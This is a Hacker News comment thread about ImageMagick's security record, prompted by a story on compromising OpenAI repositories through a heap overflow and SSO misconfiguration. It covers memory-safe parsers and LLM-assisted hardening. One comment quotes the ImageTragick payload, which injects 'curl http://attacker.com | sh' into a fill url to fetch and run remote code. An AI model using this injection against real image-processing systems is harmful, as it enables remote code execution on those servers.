Thread

A heap overflow and SSO misconfiguration to compromise OpenAI internal repos

491 points · 208 comments · Handy-Man

oefrha · 1789704813 · focus · HN ↗
Unsandboxed ImageMagick is known for being a security nightmare even back when PHP ruled the world (not saying sandboxing is a panacea either, it just requires a different and potentially harder exploit to develop a full chain). Difference is it's easier than ever to turn vulnerabilities into full compromises. At some point we'll have to replace all parsers with something at least as safe as <a href="https://github.com/google/wuffs" rel="nofollow">https://github.com/google/wuffs right? Otherwise ImageMagick and co. will just keep giving.
1. walrus01 · 1789705481 · focus · HN ↗
  It does make me wonder how much this could be hardened by, to put it in an extremely crude way, taking the current imagemagick code base and throwing a bunch of adversarial SOTA LLMs at it to discover 'bugs' and exploits of this nature until it can be coaxed into a less dangerous state. Or even using the LLMs to fully port its functionality to a memory safe language. Would take a while to get all the changes approved and then into various distribution imagemagick packages.
  1. msm_ · 1789816321 · focus · HN ↗
    Many of the imagemagick bugs (in fact, most imagemagick bugs I remember as a former CTF player) are a logic bugs, where external program was invoked with improper sanitisation. Rewriting the code into a memory safe language is not a panacea and would not help.
    Famously, ImageTragick was just "fill 'url(<a href="https://example.com" rel="nofollow">https://example.com"; curl <a href="http://attacker.com" rel="nofollow">http://attacker.com | sh ")'"
    walrus01 · 1789835261 · focus · HN ↗
    That's a very good point. I've had moderately good success with even not very smart LLMs 'fixing' things that would otherwise accept arbitrary user generated text input, to run things through a thorough sanitization pipeline, the actual code for a sanitizer is not very complex at all.

Open on Hacker News to reply ↗

Unofficial Hacker News client; not affiliated with Y Combinator.